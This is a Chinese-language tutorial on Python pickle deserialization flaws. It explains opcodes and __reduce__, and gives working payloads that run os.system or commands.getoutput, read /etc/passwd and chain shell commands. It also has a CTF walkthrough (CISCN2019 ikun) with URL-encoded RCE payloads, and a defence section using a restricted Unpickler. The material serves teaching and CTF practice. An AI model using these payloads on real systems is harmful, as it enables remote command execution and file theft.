Python Pickle反序列化漏洞
字数 2632 2025-08-15 21:32:16
Python Pickle反序列化漏洞深入解析
1. Pickle模块基础
1.1 Pickle/CPickle简介
- Pickle:Python标准模块,纯Python实现,用于数据序列化和反序列化
- cPickle:C语言实现,功能相同但性能更好(Python2中区分,Python3中已统一)
1.2 核心函数
| 函数 | 描述 |
|---|---|
| dumps | 将Python对象序列化为bytes对象 |
| dump | 将Python对象序列化并写入文件(需以二进制模式wb打开) |
| loads | 从bytes对象反序列化还原Python对象 |
| load | 从文件(需以二进制模式rb打开)读取数据并反序列化为Python对象 |
2. PVM(Python虚拟机)机制
2.1 PVM的作用
- 解释执行Python字节码
- Pickle模块基于轻量级PVM实现序列化和反序列化
2.2 PVM的组成
- 指令处理器:读取并解释操作码和参数
- 栈区(stack):用Python列表实现,作为数据处理暂存区
- 标签区(memo):用Python字典实现,存储数据索引和标记
2.3 关键操作码
| 操作码 | 功能描述 |
|---|---|
| c | 读取模块名和对象名,压入可调用对象 |
| ( | 压入标记对象,确定命令执行位置 |
| S | 读取字符串内容并压入栈 |
| t | 弹出数据形成元组并压入栈 |
| R | 弹出元组和可调用对象,执行并将结果压入栈 |
| . | 结束反序列化过程 |
3. 反序列化漏洞原理
3.1 漏洞根源
__reduce__()魔术方法在反序列化时自动调用- 类似PHP的
__wakeup()方法 - R操作码是
__reduce__()的底层实现
3.2 漏洞利用条件
- 可控制被反序列化的数据
- 存在危险函数调用(如命令执行函数)
- 反序列化过程未做安全过滤
3.3 典型漏洞场景
- 解析认证token或session时
- 将Pickle对象存储为磁盘文件
- 网络传输Pickle对象
- 参数传递给程序时
4. 漏洞利用技术
4.1 基础利用方法
import pickle
import os
class Exploit(object):
def __reduce__(self):
cmd = "/usr/bin/id" # 要执行的命令
return (os.system, (cmd,)) # 返回元组(可调用对象, 参数元组)
# 生成payload
payload = pickle.dumps(Exploit())
# 触发漏洞
pickle.loads(payload)
4.2 不同执行函数对比
| 函数 | 特点 |
|---|---|
| os.system() | 执行命令但无法获取输出,只返回状态码 |
| os.popen() | 可获取命令输出,但需要print才能显示 |
| commands.getoutput() | (Python2)直接返回命令输出,更适合漏洞利用 |
| subprocess.check_output() | (Python3)推荐使用的获取命令输出的方法 |
4.3 高级利用技巧
-
多命令执行:当
exec被禁用时,可通过分号或管道组合命令return (os.system, ('cmd1; cmd2; cmd3',)) -
文件读写:结合文件操作函数实现数据窃取
return (open, ('/etc/passwd', 'r')) -
模块导入:Pickle会自动尝试import未引入的模块
5. 防御措施
- 避免反序列化不可信数据
- 使用更安全的替代方案:如json
- 签名验证:对序列化数据进行签名
- 限制可用类:使用
Unpickler的子类并重写find_class方法import pickle class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module == 'os': raise pickle.UnpicklingError("禁止导入os模块") return super().find_class(module, name)
6. 实战案例:[CISCN2019]ikun
6.1 漏洞发现
- 在
settings.py中发现提示信息 Admin.py中存在不安全的反序列化点form.html模板直接回显反序列化结果
6.2 漏洞利用步骤
-
构造恶意类生成payload:
import pickle import urllib import commands class payload(object): def __reduce__(self): return (commands.getoutput, ('ls /',)) a = payload() print urllib.quote(pickle.dumps(a)) -
发现flag文件后读取:
return (commands.getoutput, ('cat /flag.txt',)) -
URL编码后提交payload实现RCE
7. 注意事项
-
Python2和Python3的差异:
- Python2中只有内置类有
__reduce__方法 - Python3默认所有类都是内置类
- Python2中只有内置类有
-
输出处理:
- 确保执行结果能被正确输出(如使用
commands.getoutput而非os.system)
- 确保执行结果能被正确输出(如使用
-
环境限制:
- 注意目标系统的命令路径和可用模块